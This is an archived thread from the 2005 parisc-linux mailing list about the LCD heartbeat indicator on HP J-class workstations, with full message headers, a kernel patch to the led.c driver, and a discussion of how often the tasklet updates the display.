> set up a timer for 15 seconds, say, to restore the original display text
> 
> This requires a couple of changes to led.c so firmware.c can tell
> whether the machine has an LCD or not. (If it does, then do the above,
> otherwise just send the chassis code as before.)

AFAIK, it's not possible for the led.c driver to figure out whether the
firmware has sent anything to the LCD display.

> If you agree that this is something useful, I will do some more hacking
> on it. Otherwise, I'll do the other option and arrange the the chassis
> log to be sent before the lcd has the initial text printed on it.

I don't think this is either useful nor desirable. We want to have the
firmware messages going over whatever the led/lcd driver would have shown,
and going into such a pain for a corner case doesn't really seem worth it.

> Another idea I had was this:
> 
> How about making the text scrollable? ie if the string is longer than
> the viewport, scroll it along at a reasonable rate.

That has been considered and eventually ruled out. Remember we're in
kernel context, this is not meant to be eye candy etc. The pretty
formatting you suggest should be eventually a userland task, certainly not
a supplementary burden for the kernel.

At some point we looked after writing a complete driver for the LCD
display, but it happens that it's much more complicated than first
expected. For instance, accessing the other row of the LCD is almost
impossible. In any case, it would probably consume resource for nothing
really worth it.

> I'm willing to have a play with this too, if people think it's something
> worth having.

IMHO it's not.

> Did you have any hints you could give me as to fix my very occasional 
> heartbeat issue either? 

I recall that the LCD heartbeat is quite slow on my j5k as well, but
nothing really awful, afaicr.

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: J5000 LCD heartbeat
Date: Mon, 21 Mar 2005 00:19:45 -0700
Lines: 151
Approved: news@gmane.org
Message-ID: <20050321071945.GA10108@colo.lackof.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
	<200503202317.05481.dmp@davidmpye.dyndns.org>
	<20050321045506.GA18458@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623703 13096 80.91.229.3 (22 Nov 2014 02:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Mar 2005 07:18:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 21 Mar 2005 08:18:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C12F17D667;
	Mon, 21 Mar 2005 00:19:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04850-09; Mon, 21 Mar 2005 00:19:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6C277D65A;
	Mon, 21 Mar 2005 00:19:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D07147D657
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 00:19:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04850-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 00:19:36 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3E12A7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 00:19:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2B8B529803F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 00:19:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15799-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 00:19:45 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A54ED29800A; Mon, 21 Mar 2005 00:19:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050321045506.GA18458@ntlworld.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XBlVKs8sTlIv47eQeGhrSVVGU2poZRn1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22458

On Mon, Mar 21, 2005 at 04:55:06AM +0000, Stuart Brady wrote:
> I wonder if it's a problem that an "LED" can be updated if it hasn't
> changed (and even when there are others that actually need updating).
> I think the included patch evens out the heartbeat a bit, but maybe I'm
> imagining it...  Does it look okay?

Hrm...for LCD, can we program all 4 independently?
I've attached another patch based on ideas in yours that makes that
more explicit. Seems to work but I suppose locating a spec the LCD
panels would be the only way to know for sure.

On my j6k the change in LCD heartbeat was very faint.
LCD has a much slower/longer response time than an LED.
I've basically doubled the "time on" and now heart beat is easy to see.
But if someone knows the response time of the LCD panels, that
should make it obvious what the right values would be.

This difference got me wondering if we should have different tasklets
to handle LED vs LCD. If would be nice to deal with differences
in output device response times and a two step (cmd then data) update
process at a higher level than led_LCD_driver(). But I'm not volunteering
to rewrite LED/LCD driver and the patch below is Good Enough (IMHO).

Another possible improvement would be to move the code in the
"for" loop to a static inline function and just pass in all
the hard coded stuff. Wouldn't need any arrays and code is
probably compact enough that getting rid of the loop would
be a win. But someone would need to get CR16 cycle counts
before/after to prove it's better...again, more work than I'm
willing to put into it but something fun for someone to play with.

The following patch "Works for Me"(tm).
It's at risk for ignoring transitions until after the data phase is
taken care of and we send the next command. ie the gap between
when someone decides the LED should change and when it actually
changes entirely depends on how frequently led_LCD_driver gets called.

thanks,
grant

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Index: drivers/parisc/led.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/led.c,v
retrieving revision 1.12
diff -u -p -r1.12 led.c
--- drivers/parisc/led.c	18 Mar 2005 13:17:10 -0000	1.12
+++ drivers/parisc/led.c	21 Mar 2005 06:53:19 -0000
@@ -296,41 +296,40 @@ static void led_LASI_driver(unsigned cha
  */
 static void led_LCD_driver(unsigned char leds)
 {
-	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
-	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
-	struct lcd_block *block_ptr;
-	int value;
-
-	switch (last_index) {
-	    case 0:	block_ptr = &lcd_info.heartbeat;
-			value = leds & LED_HEARTBEAT;
-			break;
-	    case 1:	block_ptr = &lcd_info.disk_io;
-			value = leds & LED_DISK_IO;
-			break;					
-	    case 2:	block_ptr = &lcd_info.lan_rcv;
-			value = leds & LED_LAN_RCV;
-			break;					
-	    case 3:	block_ptr = &lcd_info.lan_tx;
-			value = leds & LED_LAN_TX;
-			break;
-	    default:	/* should never happen: */
-			return;
-	}
-
-	if (last_was_cmd) {
-	    /* write the value to the LCD data port */
-    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_REG );
-	} else {
-	    /* write the command-byte to the LCD command register */
-    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
-	}    
-	
-	/* now update the vars for the next interrupt iteration */ 
-	if (++last_was_cmd == 2) { /* switch between cmd & data */
-	    last_was_cmd = 0;
-	    if (++last_index == 4) 
-		last_index = 0;	 /* switch back to heartbeat index */
+	static unsigned char last_leds;
+
+	static unsigned char changed[4];
+	static unsigned char data[4];
+	static unsigned char mask[4] = { LED_HEARTBEAT, LED_DISK_IO,
+						LED_LAN_RCV, LED_LAN_TX };
+	static struct lcd_block * blockp[4] = {
+		&lcd_info.heartbeat,
+		&lcd_info.disk_io,
+		&lcd_info.lan_rcv,
+		&lcd_info.lan_tx
+	};
+
+	unsigned int i;
+
+	for (i = 0; i < 4; i++) {
+		if (changed[i]) {
+			/* finish LCD update with write to the LCD data port */
+			gsc_writeb( data[i], LCD_DATA_REG );
+			changed[i] = 0;
+		} else {
+			/* check if this "LED" changed since last time */
+			if ((leds ^ last_leds) & mask[i]) {
+				last_leds ^= mask[i];
+				data[i] = (leds & mask[i]) ?
+						blockp[i]->on :
+						blockp[i]->off;
+
+				changed[i] = 1;
+
+				/* start update by writing the cmd byte */
+		    		gsc_writeb(blockp[i]->command, LCD_CMD_REG);
+			}
+		}
 	}
 }
 
@@ -427,8 +426,8 @@ static __inline__ int led_get_diskio_act
     - optimizations
  */
 
-#define HEARTBEAT_LEN (HZ*6/100)
-#define HEARTBEAT_2ND_RANGE_START (HZ*22/100)
+#define HEARTBEAT_LEN (HZ*12/100)
+#define HEARTBEAT_2ND_RANGE_START (HZ*36/100)
 #define HEARTBEAT_2ND_RANGE_END   (HEARTBEAT_2ND_RANGE_START + HEARTBEAT_LEN)
 
 #define NORMALIZED_COUNT(count) (count/(HZ/100))
@@ -481,7 +480,7 @@ static void led_tasklet_func(unsigned lo
 	}
 	
 	/* update the LCD/LEDs */
-	if (currentleds != lastleds) {
+	if (currentleds != lastleds || lcd_info.model == DISPLAY_MODEL_LCD) {
 	    led_func_ptr(currentleds);
 	    lastleds = currentleds;
 	}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 23:17:03 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <200503202317.05481.dmp__40671.3862940252$1416623704$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org> <20050320210357.53534d01@Tatooine.r3z0> <200503202257.31924.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2180826.Ni0TVgB4DN";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623704 13101 80.91.229.3 (22 Nov 2014 02:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 23:17:20 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx059) with SMTP; 21 Mar 2005 00:17:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 91F792E116; Sun, 20 Mar 2005 17:17:17 -0600 (CST)
Old-Return-Path: <dmp@davidmpye.dyndns.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from galaxy.systems.pipex.net (galaxy.systems.pipex.net [62.241.162.31])
	by murphy.debian.org (Postfix) with ESMTP id A1A372DDE5
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 17:17:11 -0600 (CST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by galaxy.systems.pipex.net (Postfix) with ESMTP id D2963E0001D6;
	Sun, 20 Mar 2005 23:17:06 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <200503202257.31924.dmp@davidmpye.dyndns.org>
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-4.1 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <pcqZVB.A.w_H.9RgPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4329
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 17:17:17 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 4GhVKnpXTlIv47eQeGhrSVVGU2poZVkZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22459

--nextPart2180826.Ni0TVgB4DN
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 20 March 2005 22:57, David Pye wrote:

> Well, I've had a bit of a play with this, and think I have a feel of what
> causes it.
>
> The led_LCD_driver() fires each time the tasklet decides the led statuses
> should change, but each time it only updates at best one of the four LEDs.
>
> Every time it fires, it either updates one led, or it writes the command
> register, to avoid sleeping.   This means, that it requires eight fires of
> the tasklet (and eight times of it having decided an LCD state should fli=
p)
> before the heartbeat will be written to.  It seems to be a rare occasion
> that these all line up (most of the time the heartbeat has pulsed back to
> its previous state before the LCD panel itself gets updated.

     =20
It appears my hunch was correct
  /* update the LCD/LEDs */
        if (currentleds !=3D lastleds || led_type =3D=3D LED_HASLCD) {
            led_func_ptr(currentleds);
            lastleds =3D currentleds;
        }

If I modify the conditional as above, so it fires the led_func_ptr each tim=
e=20
the tasklet fires for LCD users (even if the leds haven't nominally changed=
)=20
my heart beats!

Admittedly, it doesn't QUITE beat right, because of the rate the tasklet=20
fires, and the rate at which the heart is supposed to beat.

I'm convinced another solution, like one of the ones I mentioned earlier, i=
s a=20
better idea, of course.

I now get:

a normal double beat, followed a single beat (repeats).

Which is better than no beats at all in my book!

Cheers,

David

> Cheers,
>
> David

--nextPart2180826.Ni0TVgB4DN
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPgRxOIrGtzS07WgRApjGAJwJsHEWijv7Pqg9ZzS1otNGrn3j0ACfQG7j
OC3UDp/tbaxFzVL59tDrdZ4=
=KHpQ
-----END PGP SIGNATURE-----

--nextPart2180826.Ni0TVgB4DN--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 23:17:03 +0000
Lines: 88
Approved: news@gmane.org
Message-ID: <200503202317.05481.dmp__42129.8159206801$1416623704$gmane$org@davidmpye.dyndns.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0795355142=="
X-Trace: ger.gmane.org 1416623704 13107 80.91.229.3 (22 Nov 2014 02:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 23:17:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 21 Mar 2005 00:17:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 131E77D671;
	Sun, 20 Mar 2005 16:18:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03439-06; Sun, 20 Mar 2005 16:18:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A12A7D656;
	Sun, 20 Mar 2005 16:18:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AEF07D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:18:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03062-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:18:31 -0700 (MST)
Original-Received: from galaxy.systems.pipex.net (galaxy.systems.pipex.net
	[62.241.162.31])
	by free.linux.hp.com (Postfix) with ESMTP id 63CF47D630
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:18:31 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by galaxy.systems.pipex.net (Postfix) with ESMTP id D2963E0001D6;
	Sun, 20 Mar 2005 23:17:06 +0000 (GMT)
User-Agent: KMail/1.7.2
In-Reply-To: <200503202257.31924.dmp@davidmpye.dyndns.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5GhVKn9WTlIv47eQeGhrSVVGU2poZVm7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22460

--===============0795355142==
Content-Type: multipart/signed; boundary="nextPart2180826.Ni0TVgB4DN";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2180826.Ni0TVgB4DN
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 20 March 2005 22:57, David Pye wrote:

> Well, I've had a bit of a play with this, and think I have a feel of what
> causes it.
>
> The led_LCD_driver() fires each time the tasklet decides the led statuses
> should change, but each time it only updates at best one of the four LEDs.
>
> Every time it fires, it either updates one led, or it writes the command
> register, to avoid sleeping.   This means, that it requires eight fires of
> the tasklet (and eight times of it having decided an LCD state should fli=
p)
> before the heartbeat will be written to.  It seems to be a rare occasion
> that these all line up (most of the time the heartbeat has pulsed back to
> its previous state before the LCD panel itself gets updated.

     =20
It appears my hunch was correct
  /* update the LCD/LEDs */
        if (currentleds !=3D lastleds || led_type =3D=3D LED_HASLCD) {
            led_func_ptr(currentleds);
            lastleds =3D currentleds;
        }

If I modify the conditional as above, so it fires the led_func_ptr each tim=
e=20
the tasklet fires for LCD users (even if the leds haven't nominally changed=
)=20
my heart beats!

Admittedly, it doesn't QUITE beat right, because of the rate the tasklet=20
fires, and the rate at which the heart is supposed to beat.

I'm convinced another solution, like one of the ones I mentioned earlier, i=
s a=20
better idea, of course.

I now get:

a normal double beat, followed a single beat (repeats).

Which is better than no beats at all in my book!

Cheers,

David

> Cheers,
>
> David

--nextPart2180826.Ni0TVgB4DN
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPgRxOIrGtzS07WgRApjGAJwJsHEWijv7Pqg9ZzS1otNGrn3j0ACfQG7j
OC3UDp/tbaxFzVL59tDrdZ4=
=KHpQ
-----END PGP SIGNATURE-----

--nextPart2180826.Ni0TVgB4DN--

--===============0795355142==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0795355142==--



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: J5000 heartbeat
Date: Sun, 20 Mar 2005 23:20:26 +0000
Lines: 122
Approved: news@gmane.org
Message-ID: <200503202320.28031.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0809243431=="
X-Trace: ger.gmane.org 1416623704 13110 80.91.229.3 (22 Nov 2014 02:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 23:20:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 21 Mar 2005 00:20:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 815AC7D642;
	Sun, 20 Mar 2005 16:22:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03806-05; Sun, 20 Mar 2005 16:22:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82AEB7D656;
	Sun, 20 Mar 2005 16:22:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC6657D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:21:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03656-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:21:57 -0700 (MST)
Original-Received: from blaster.systems.pipex.net (blaster.systems.pipex.net
	[62.241.163.7])
	by free.linux.hp.com (Postfix) with ESMTP id 35A877D630
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 16:21:57 -0700 (MST)
Original-Received: from platinum (81-86-96-140.dsl.pipex.com [81.86.96.140])
	by blaster.systems.pipex.net (Postfix) with ESMTP id 8B4A8E0001B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 23:20:28 +0000 (GMT)
User-Agent: KMail/1.7.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K2lVKp9mTlIv47eQeGhrSVVGU2poZdn6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22461

--===============0809243431==
Content-Type: multipart/signed; boundary="nextPart3181268.95lL0VQsb7";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart3181268.95lL0VQsb7
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 20 March 2005 20:03, Thibaut VARENE wrote:
> On Sun, 20 Mar 2005 19:52:29 +0000
>
> David Pye <dmp@davidmpye.dyndns.org> wrote:
> > Hi, and thanks for your reply.
> >
> > On Sunday 20 March 2005 19:40, you wrote:
> > > > I think I have an idea that it's related to CPU1 init, but I haven't
> > > > confirmed this yet - depending on your feedback to the idea below, I
